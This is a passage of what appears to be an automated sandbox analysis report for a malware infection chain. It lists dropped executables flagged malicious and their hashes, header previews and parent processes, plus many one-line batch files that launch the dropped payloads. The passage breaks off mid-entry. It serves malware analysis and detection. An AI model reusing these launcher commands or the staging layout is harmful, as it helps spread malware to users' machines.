SHA-512:	0B5B26684345297B8540A7BA4D15BBDDF76B9319ABCD97835167C95EEF66B9119B7C2B63A210FB633F4A1CD0C5D23A4BDC6750C59CF0B5E53EF7B443F4E29D70
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1504
Entropy (8bit):	5.275304657373953
Encrypted:	false
SSDEEP:	24:3BJSKco4KmBs4RPT6BmFoUvjKzu1o+m9qr9t7J0gt/NKmNUNEr8H0UMem:xJSU4y4RQmFoUL5a+m9qr9tK8NfUNEIa
MD5:	CF5E989AE62F24D94107BF3F4F2BD8C0
SHA1:	DE2B672931E8D323093207759B67645310A8EA98
SHA-256:	CA2FCF661DDBFEBB160F732EE039B0EF300212152D78AB3882C0A4AF6634ECF4
SHA-512:	B56D1E3A5B83976BBE9DDC7C550E4FBD1C821AE931AE6A485D03EBEFC356BBE64B455A0DE5010F2177952D07A4720B23D4951173EE1B2E715D8352BC900FCB42
Malicious:	false
Preview:	@...e...........4..................... ..............@..........@...............\|.jdY\.H.s9.!..\|4.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.<...............i..VdqF...\|...........System.Configuration4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\NN7y6Ml4QHJBCfpeCmt1XQq3.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Osh3JGbyB69u4I6NltayynfD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\PHoZl3WswCZ1lCRWCJPBFZtN.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\QbkKvIT5uJj3Cx8h0ECIsmUK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2390528
Entropy (8bit):	7.919291926748545
Encrypted:	false
SSDEEP:	49152:bGY5918NqwTEgTcQ26a+gdlb2SAc4CSf24JbhV6qDpEovLz8MBpUoo:ohTP6t299CczlXMSlo
MD5:	C1BF02296C415ABC8B1F0ED13088D96D
SHA1:	6506E74510BC28BE318B75736EA0B36C62C6766C
SHA-256:	EE57FAE40BB8457A507F59569B111660438812426852E7B13299E841E82E8302
SHA-512:	CF4F8314054472920878DA5237D258EF9E2C728AE1BB0487F5ACCE938A3842567BD3036F8C40F6A6D18501F8D80E9A4FE1E7F517F1315A47326A0F0D29317D03
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y...s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L.....2f...............'..............]...........@...........................].......$...@.................................^0..r....p........................\...............................\.................................@................... . .`..........................@....rsrc........p......................@....idata .....0......................@... ....@......................@...agovwish......D.....................@...lcjgmmfi......]......T$.............@....taggant.0....].."...X$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000019001\amert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.950545984341186
Encrypted:	false
SSDEEP:	49152:cEn984TQ5OfyNqCq9/eMwfbsbTWX/cEeprH+/hngYQgDqa:7e4M5eyNqCuGCT2/cprH+/Rgcea
MD5:	E67C8B3E5EC9F64052FCD2F45341CFA5
SHA1:	0D809A3D9BC171D7A0DCBF2B6C3F3B009444ADC9
SHA-256:	1A94AE9809AF376B056D751363C524C22284D4BD978F30723DEB2C1F8307245B
SHA-512:	FE4C0E98881465A6627522F1D484983EBC9298870107156986A5BD6E5DB78D7C4D1FDA9B2B2DE663EFD343FD90A01DF058A85895B8BB1347B2026FB327A66624
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................J...... ....@...........................J...........@.................................V...j............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...avcjhwxy......0.....................@...nkwkrymv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000019001\amert.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.950545984341186
Encrypted:	false
SSDEEP:	49152:cEn984TQ5OfyNqCq9/eMwfbsbTWX/cEeprH+/hngYQgDqa:7e4M5eyNqCuGCT2/cprH+/Rgcea
MD5:	E67C8B3E5EC9F64052FCD2F45341CFA5
SHA1:	0D809A3D9BC171D7A0DCBF2B6C3F3B009444ADC9
SHA-256:	1A94AE9809AF376B056D751363C524C22284D4BD978F30723DEB2C1F8307245B
SHA-512:	FE4C0E98881465A6627522F1D484983EBC9298870107156986A5BD6E5DB78D7C4D1FDA9B2B2DE663EFD343FD90A01DF058A85895B8BB1347B2026FB327A66624
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................J...... ....@...........................J...........@.................................V...j............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...avcjhwxy......0.....................@...nkwkrymv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2390528
Entropy (8bit):	7.919291926748545
Encrypted:	false
SSDEEP:	49152:bGY5918NqwTEgTcQ26a+gdlb2SAc4CSf24JbhV6qDpEovLz8MBpUoo:ohTP6t299CczlXMSlo
MD5:	C1BF02296C415ABC8B1F0ED13088D96D
SHA1:	6506E74510BC28BE318B75736EA0B36C62C6766C
SHA-256:	EE57FAE40BB8457A507F59569B111660438812426852E7B13299E841E82E8302
SHA-512:	CF4F8314054472920878DA5237D258EF9E2C728AE1BB0487F5ACCE938A3842567BD3036F8C40F6A6D18501F8D80E9A4FE1E7F517F1315A47326A0F0D29317D03
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y...s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L.....2f...............'..............]...........@...........................].......$...@.................................^0..r....p........................\...............................\.................................@................... . .`..........................@....rsrc........p......................@....idata .....0......................@... ....@......................@...agovwish......D.....................@...lcjgmmfi......]......T$.............@....taggant.0....].."...X$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	329352
Entropy (8bit):	7.976897467568528
Encrypted:	false
SSDEEP:	6144:DFZcMaQk5oqtag00+wX3bSJxuI2Hc8PlsLNuPhRF1Ym:DFZg5Ztj00+03mJxmc8PfPwm
MD5:	1C7D0F34BB1D85B5D2C01367CC8F62EF
SHA1:	33AEDADB5361F1646CFFD68791D72BA5F1424114
SHA-256:	E9E09C5E5D03D21FCA820BD9B0A0EA7B86AB9E85CDC9996F8F1DC822B0CC801C
SHA-512:	53BF85D2B004F69BBBF7B6DC78E5F021ABA71B6F814101C55D3BF76E6D058A973BC58270B6B621B2100C6E02D382F568D1E96024464E8EA81E6DB8CCD948679D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]h.f................................. ........@.. ....................... .......b....`.................................L...O.......:................N........................................................... ............... ..H............text........ ...................... ..`.rsrc...:...........................@..@.reloc..............................@..B........................H........................................................................0..........r...p...(......0..........rg..p...(.......]*.0..\.........i.s........+...o.......X.... ....2..o.......o........8.........-X....d....(......(....&s..........o......o.....1......o...........o....r...po.....3....+.s.........o.......o.......o.......o.......o.......o.......Lo.......o.......o...........o........o.....Yo.........+........(...........o....+....2...X.. ....?........+A..... ........

C:\Users\user\AppData\Local\Temp\1000069001\0IBzoJsP8q1QzBlpBtW6hkNk.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	5.08491300050149
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5KUS/mtC8aF:fE1wkn23KUS/sC8aF
MD5:	A88A5B2691DB931F363E87D2144AA63D
SHA1:	C20F24DAD0874155BF196998BBBE18B1EF16B8FB
SHA-256:	091C3EA01D7630D83627444864078B6EB95BF640738240C0910E0AC5A7761643
SHA-512:	04EA274D940D7DF9809A1EAD7EF86AB79382AD228775D80FE55DD829C7D249404D940AF97AA1EB0FDDFA9E9B529CC2361CBDE428B13FD1CF3468A4BE348CB6F6
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\oqwWhViccQzmDvkS751EZRiG.exe"

C:\Users\user\AppData\Local\Temp\1000069001\0eaFHVS20CPdU1bF3IvLrmew.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.864343711387381
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5QpfChiTfS84mn:fE1wkn23QxC3K
MD5:	F6C0D3C67D8D3EC4A7DEE6AE4181BC72
SHA1:	02E15A089D7C5752B21A102CDFC9632464771B6A
SHA-256:	113AF4F488EC6E14DD18775DB49A29B0251B129F5749CD7D969FFC0D1F5276EC
SHA-512:	673AAC02001B7835AA869C0B53AA3799B05B907BC49BEFF0203F290EE56EC42FC06FDB9E7BC0F0E34F662A13E21EF7092DB06D93CDB3F6837F18B55C94303329
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe"

C:\Users\user\AppData\Local\Temp\1000069001\0weAxDqiNFog13cyvmb9Iyll.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.945642848698058
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5BI+fTulRnKrVFn:fE1wkn23lfTyKrv
MD5:	BCD1FA566618DFC45ABC2E267B113EF7
SHA1:	8AECBAD6DEDFEC471F3946C82824B0E9A0AE821B
SHA-256:	95833452CEAD8861F614362D3AC0EF05C9811B8D57EAE04FAF1E5CBAA14D829A
SHA-512:	38DC13634DBB0A91B0A99445118D8A8CD0CCA75F05E90C7FE68FD0A3D5FC722257A1480B0682A844DA2F7D2847149A5489C634B1B5B0D80D20F0A311988AFB73
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\dmmb0z6yJ22pC75a4y49Nfob.exe"

C:\Users\user\AppData\Local\Temp\1000069001\1J39WMgHBH6ItCI7tnNb3DFI.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.956583247280138
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5rGzUv9QWJl:fE1wkn23kUv9f
MD5:	8EDEF160CCD1D50E60F3CF8B495777F6
SHA1:	5744B6B02824315D949D17CAA62F3024A0B1E224
SHA-256:	3D729D525A698719D474DCA654AF3710566DA6BE6129DE3A4038F038CECEF34F
SHA-512:	BC86516226F17F69A7828A6FA68A7CF422833158AF01FBE8D475B507DE77327FE38E2CC1C70E4D332CBDE3DBAE9850A4A127937609F2205BB069DF8E487E6911
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\NN7y6Ml4QHJBCfpeCmt1XQq3.exe"

C:\Users\user\AppData\Local\Temp\1000069001\4ZdK877cZbgGnfbGZHyuFY5m.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.882388820051678
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5JE0mqgqTVdiF:fE1wkn23VAyEF
MD5:	80497F5BE75B48CCB74A40195AD1EA39
SHA1:	C19B5D0F26F5D6941C095012230A75A918F3D77F
SHA-256:	613DF61D8A1562E2C66A3483ECD6BDB4154DD7D641B7C37782DDD9785B5B7D35
SHA-512:	140641073F50BEF4C3D279BC5082B9FC5297BD7FFDCD5FA64A476A11325551A61B980EF261620B6FFE67F0E2FD78BB65CFDDA42653B2BF4676BCC16926EE546B
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\laQhqKepZhfkS5rQoYOvKJAy.exe"

C:\Users\user\AppData\Local\Temp\1000069001\5DX860qivAPKkFbfHPe3xXFZ.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.915210015797916
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5wpTRwvy0dAl:fE1wkn23wXw1dAl
MD5:	1DF5492BD39975EDDB7BDF8EBAF75ADA
SHA1:	CC284DC6C3EB10601231A6684E2A3B37CFDCBD90
SHA-256:	7FCD9F3D0C541DFABE129317EEA173C30C21C70025D0FA35FA8B4074A7AFA7CC
SHA-512:	5F5AE4F77F4AD79EB1187997F61808C5AE42AF58779C0D6384DC736396E212DD24D05904EA2F561B397457530AE05D647AAC0F4CBBD8BDE630D1CF08F12F61A2
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\ULDq5mjQ4b5aNI3V4eIJfMVS.exe"

C:\Users\user\AppData\Local\Temp\1000069001\6w06slvDOvn8Kv4AS6TmhE6x.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.875284109969461
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5iWpvqwrLNl:fE1wkn23iWBzLv
MD5:	83CF3662D46E282B0796A887FA12667E
SHA1:	AB30AFFCE0B596AB5EECC54D91A486D147083A7E
SHA-256:	615B6D1B41CDDBBDF2EB8AF4EDDEC6EA83DFF5F37CAFBC41EF8E78E8D7F382EA
SHA-512:	4979E09867BC5671BF8BFA5E38055F818128EA7877104A07E89A56DAF483D95E17297B983C0F04E3921BD8B723CF128D6FD961FC6750BB936FE530EDFE4611C2
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe"

C:\Users\user\AppData\Local\Temp\1000069001\7fZ1uuzdpesnTJbK2s7zlM0T.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.980285740372887
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5uDrJcjdzgQskWLv:fE1wkn23u3mhXWL
MD5:	7675530EE289364ABE3B31F5168F3FC1
SHA1:	432D58A2BC38BF009AD59214712E47147DEA28DE
SHA-256:	DC1922E1C0DEAD1847380A8564A5DCE0F27E7F030A27D4E7C71E60BCF143CC78
SHA-512:	2CBDF100AA0DEE50E2835835AE64244B0873FBEF29DF5C160B27E6D7BED9F25A48AFCD96BFDCF09A1639883121C60C9427886B1B7457D7FE97E9A744C34B4962
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\K7e4fpNGO8JkAsFxVXguIAcd.exe"

C:\Users\user\AppData\Local\Temp\1000069001\AMnvZ4ecVgVRTE0GaWFw3wMb.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.9237620515339
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5QoU6Fv0hbsn:fE1wkn23QJ6FEbs
MD5:	8B5F45F2ABFDE58D3A8C3AFB8DF9B187
SHA1:	593F2ABB898052516FC89DD80C7DFED457C13D75
SHA-256:	4BDE9B670B6558541EBEBE4BBCA2050853EC744AFBD5EE1E8336AA741198C1B5
SHA-512:	527EDD301DF1C49CF721C18796A2C2C6F714236A9916237F4D55389F832258C589041CE7222E206FB1857D5DF406D4FFCCBF1D47029A2B9C067E87DC0088BE4F
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\5aIar1h6imWjPJZYPL4QSqoe.exe"

C:\Users\user\AppData\Local\Temp\1000069001\C7O60cUu4nXNRuUr2Vq7LUKM.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.822596109630334
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5CfdTofLA9iSNl:fE1wkn23C1kjAwSv
MD5:	8824D032EC4D6D0D6F9960254A1487B6
SHA1:	6A8750234E801A5FB63B8A495005413BBD38B3DB
SHA-256:	663C3817D73462EF3605CFD264909B6214389A2EB3E0E75EB2D1F19CD22A7395
SHA-512:	477530F8D35E8169F79476B379FF9753B51F7CE8E0A8A3C1174148DC196215AB0297FC73C8E58E9E9D9D35896CB1FF146FEA7F96D998FF7800022369FD8283EF
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\gzxs1MlpU5tnMfkC7kzgvR1h.exe"

C:\Users\user\AppData\Local\Temp\1000069001\CEi1OlllqXZaH8FOP7kkjSW1.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.939985464269606
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5DXd2ZoXLAsn:fE1wkn23Ljks
MD5:	FE0EA6105CA7E2A4D49FCE48B12CB813
SHA1:	7FFB947077D1F300A1BFA596581F0196C75E9D90
SHA-256:	91F5EE33C3042BFF804854E366D40888DB2694240D3815A8D846DE39228B8810
SHA-512:	8B891484ABBD4CB981D1E6AE98739DEDF925EE1A49E0327FD707D19630901F29E9C3E1B2F45691C7AB95089F25F381312DAA66A618C460DEA00C0B1F814962AB
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\f2NBhcBIObRGHagt6xPQoMa2.exe"

C:\Users\user\AppData\Local\Temp\1000069001\CtSGaLtWyp0hUfQ1Mn5nKSxw.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.869626725541008
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5MjcJ3yM/EXMEF:fE1wkn23M65UF
MD5:	FB1670B6F5C8F488FA4BC0DE7FAE03E4
SHA1:	A8CE1CF1CA4B4E4E710B21EE593672F6D1E8A20B
SHA-256:	789DC86405E675C2550ADA602F1FD361703412334B57C37A2DC56F1CC30BD4BB
SHA-512:	E96D65CB5A9D6243BDC62490FB3ACFCC5950CEC9AD81B2910F90D7D3CAD53C927CE99E7B630CC2E20FE4005C68FDD6CB32C500E27DDBAE76687747F9F141D0F7
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\iFyHzFXRkeOppMlu3FtGrLYy.exe"

C:\Users\user\AppData\Local\Temp\1000069001\K1t0QXCCtmkM5YCAHaUaNQEx.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.904269617215837
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5dWms/llQXBps4iF:fE1wkn237AllCBps4m
MD5:	D5C624060BB75CF0009B8970669E9003
SHA1:	8EDA8379ABA7B6EDC300F81BACB23BDE57FEE3B8
SHA-256:	55F4756C1DCE9F3729A2F4B581F937A12BE002BFE6A05DEEBCA1DBDE620141E6
SHA-512:	1A076E11E96D188A3845D90EBA6D9246B6F68C0BF74DE01FD18BEACE3A3CB403D71EE66691CF444061A9CD6D18B577C17EC38158D2D46244A760D6AC013B37B6
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe"

C:\Users\user\AppData\Local\Temp\1000069001\LioNgAcDbpgwvVAUIoPFcNK4.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.900059558441151
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5gwJwG+oUfKAs:fE1wkn23gwmy5As
MD5:	AD5F975000A4B2A65916118ABD20FF99
SHA1:	0A4ADC9B2266D696035501FF9227929F420A5DB8
SHA-256:	88DDF9D0399DF967B95C467D4514B2CE76CCDB3246E4107C194DD930C2386186
SHA-512:	5E5DB9E8FAF93C917E53BB0140446ABFAA0CB48B30884A8863AE61A248F15100633168E3AE921AE1C436985B9229A98006462768FC88AA6228B88582F8235D79
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\EUl5mGPccm3Ux8yn4fNnNA26.exe"

C:\Users\user\AppData\Local\Temp\1000069001\MyDBZp3IqdDcWtv8eGvAA3yE.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.840641218294632
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5E84QjTy8rfLVF:fE1wkn23E8iixF
MD5:	28ABC84D11058A2C44E7DF9972BA51AF
SHA1:	B4FCC338E8CCC46010E7F39F9534B508518BD287
SHA-256:	B69BFFEB7D0ED1AF642B46770A5DADD4BBF3690C41BA47640B91AC5C381D387C
SHA-512:	0CF703E7B076881AEE06523D5D480A8C528309F4B4EE6AC335555A91F8828E6B5CCC300C0478F5E6D3CFA62D0FAFE96C113D33E9700AA997C8D8D493913FC571
Malicious:	false
Preview:	start "" "C:\Users\user\AppData\Local\aYtr3HT3BUqjK6QB6WYpwCcm.exe"

C:\Users\user\AppData\Local\Temp\1000069001\NUZEoHqBL3r3M5uP65Rh5TDR.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.828253494058785
Encrypted:	false
SSDEEP:	3:Ljn9m1t+kiE2J5Mb9kd8qnJLn:fE1wkn23M5U8qJL
